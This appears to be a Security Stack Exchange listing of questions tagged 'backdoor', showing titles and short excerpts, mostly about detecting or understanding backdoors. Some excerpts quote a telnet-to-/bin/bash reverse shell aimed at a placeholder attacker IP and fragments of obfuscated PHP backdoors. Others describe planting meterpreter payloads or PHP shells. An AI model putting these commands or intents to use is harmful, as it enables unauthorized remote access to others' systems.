Questions tagged [backdoor]

A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

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72
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6answers
56k views

How do large companies protect their source code?

I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys? I then just had to ask myself: How do large companies (e....
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1answer
254 views

Malware, RAT's and backdoors

Is there any kind of malware or RAT that cannot be gotten rid of by a thorough wipe with DBAN, flashing the BIOS and re-installing OS? More importantly, if you've been ratted and did all these things, ...
4
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2answers
317 views

Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually ...
24
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2answers
2k views

What does the Juniper backdoor actually allow an attacker to do?

The Juniper ScreenOS backdoor recently discovered provides administrative access to these firewalls, but in terms of access to valuable data can it actually provide an attacker with anything useful ...
2
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2answers
108 views

DNS IP address auto reset

I have a unofficial Windows and i noticed that my internet connection gets reset. By taking a closer look at it, i found that the DNS server address is set to an IP in China. Any reason why this ...
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1answer
137 views

Zilog Z80 CPU family security

According to this Intel and AMD could have backdoors in their CPU's, but what about Zilog and z80 family? I am mostly interested in the latest eZ80 , but also the original z80 and others. Are there ...
1
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2answers
296 views

Encryption software trustworthy?

If you are downloading and using an encryption software, e. g. Veracrypt or Diskcryptor, how do you know if this software is not a fake one? Backdoored or other security holes? Assuming that such ...
0
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1answer
518 views

Find php file with certain word in it and disable php

I have multiple VPS with at least thousands of accounts in them. My clients' websites are hacked and sending spam emails. I checked the log and found out two types of scritps type1: <?php $d79="...
0
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1answer
919 views

Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2

I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the ...
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4answers
364 views

How to approach ruling out that past developers are backdooring my website?

My client says that one of his old developers found some code that allowed a past developer to access the site in certain ways. She wrote code to allow herself to log in to certain restricted areas ...
4
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2answers
224 views

What is a “roving” backdoor?

What is a "roving" backdoor? I understand the general concept of a backdoor. Emphasis on keyword qualifier: "roving"...
5
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3answers
1k views

BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor?

How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices? However these devices firmware often offer a proprietary ...
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1answer
172 views

How to tell if my Windows 7 copy is not modified?

I lost my windows cd I downloaded a copy from the internet. The guy who shared it said it's original without any modifications. However I get weird actions like I can't use mouse clicks or I can't ...
2
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2answers
11k views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
4
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2answers
260 views

Securing the bootloader

When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid. My question is how can I secure myself from this? Can I encrypt the drive or store it in a ...
3
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1answer
201 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...
3
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1answer
69 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
15
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2answers
6k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
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3answers
754 views

PHP Code Found Is It Malicious? [duplicate]

I found the following code on my website. What does it do? Is it malicious? <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $...
3
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3answers
14k views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
1
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1answer
553 views

backdoor php trojan still dangerous on my local machine?

I recently removed and fixed a lot of backdoor trojans in some files in one of my servers, and I copied those files to my local computer. But the issue is that now that I run the virus scanner on my ...
3
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2answers
6k views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
7
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2answers
298 views

Software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a mean to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
1
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1answer
5k views

What kind of backdoor can be made after hacking wi-fi? [closed]

I'm interested to know if A hacks B's wifi password, what can A do to gain persistent access to the router even after B changes the wifi password? Secondly, how can we detect the backdoor and patch it?...
9
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2answers
926 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
2
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1answer
555 views

Why do device vendors build-in backdoors when it can destroy the companys reputation? [closed]

As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major ...
4
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1answer
138 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
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2answers
2k views

Running tails on a corporate computer

Is it safe to run TAILS on a corporate computer? I mean a corporate computer that has hardware cryptography and probably some backdoors; and, by safe, I mean that nobody will be able to recover what ...
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2answers
205 views

Suspicious files in my Windows

While I am doing a quick scan for virus on Norton 360, I noticed a long stop at some files. Their names are very very suspicious. Although I can't recall all of them, one of them, which I clearly ...
0
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1answer
3k views

Backdoor under Akismet wordpress plugin

my site recently got hacked or my users leaked out their passwords. The hacker install this plugin with a shell or backdoor in it. The file name is the "honda.zip" and inside is some Akismet plugin's ...
2
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0answers
1k views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 is ...
2
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1answer
981 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <...
23
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7answers
6k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
26
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1answer
16k views

Is this a backdoor?

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure. <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($...
0
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1answer
757 views

Are there approaches/mechanism to detect hardware backdoors?

Background: A nice Chinese based manufacturer (AllWinner Technology Co.Ltd) produces very useful SoC used boards that often claim to be open source hardware. Question: If need be is there by way of ...
1
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1answer
1k views

Execute a remote PHP shell which is inside a file I dont have permission to access

Hi need some help here. I am trying to exploit an unsanitized file upload with a PHP backdoor. Basically the file uploads successfully and I can see my backdoor inside the web applications /images/ ...
1
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4answers
455 views

How secure is it to use an open-source software [closed]

Is it possible for the developer of an open-source software to hide a backdoor without getting caught? Obviously open-source is superior to close-source when it comes to transparency, also I am aware ...
1
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3answers
410 views

In a company is it good to have a back door account?

Having a backdoor account (that is a username/password that can login in to an administrative account on all machines) can be very useful for IT staff. However, some believe it's a security breach. ...
3
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1answer
1k views

hparm -I /dev/sda does not report a Security section - should I be concerned?

I am in the habit of wiping new drives and for SSDs I use hdparm to perform an ATA secure erase. I just purchased two 44-pin PATA SSDs through an eBay seller in China and hdparm does not report a ...
6
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1answer
586 views

Firmware Backdoor Protection

http://en.wikipedia.org/wiki/Advanced_Configuration_and_Power_Interface#Security_Risk Ubuntu Linux founder Mark Shuttleworth has likened ACPI to Trojan horses.[28] He has described proprietary ...
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1answer
949 views

Backdoors and hard-coded usernames and passwords

I have been researching on computer worms that brought me to this topic of backdoors. According to my research, backdoors are malicious pieces of code that are inserted into either computers to get ...
1
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0answers
82 views

Local lan drive by download

Basically, I'm testing a local network, on which I'm able to use ARP spoofing. I now want to try and infect one of the Windows boxes on the network with a backdoor. I could inject an iframe into their ...
1
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2answers
1k views

Msfpayload: Exe within an exe?

So you can use msfpayload or msfvenom to add a payload to an existing exe, most people online seem to use reverse shell. But I was wondering if you could include a custom exe of your own design as a ...
17
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5answers
23k views

Detecting and removing Absolute persistence technology

Absolute persistence technology amounts to a persistent rootkit pre-installed by many device manufacturers (Acer, Asus, Dell, HP, Lenovo, Samsung, Toshiba, etc) to facilitate LoJack for laptops, and ...
4
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5answers
662 views

What is the security flaw in this example of “magic parameters”?

I am reading OWASP Testing Guide v3: Example 1: Magic Parameters Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request ...
3
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1answer
3k views

Hacked site - encrypted code

Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: http://...
9
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6answers
19k views

Is blocking UDP and TCP sufficient to prevent unwanted network activity?

I want to be 100% sure that my machine only connects where and when I want it to. If I use a firewall that blocks all UDP and TCP packets but those that I explicitly allow to pass, can I be 100% sure ...
48
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5answers
5k views

What does Mark Shuttleworth mean by “we have root”?

In a blog post in response to the Amazon privacy controversy, Mark Shuttleworth wrote: Don’t trust us? Erm, we have root. You do trust us with your data already. You trust us not to screw up on ...
6
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1answer
3k views

Hiding backdoors in Open Source code in other languages than C and C++?

I am referring to The Underhanded C Contest and Hiding Backdoors in plain sight. They demonstrate, that you can with some cleverness, write Open Source code, publish the code and hide a backdoor in ...
31
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1answer
17k views

Consequences of tampered /etc/ssh/moduli

What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?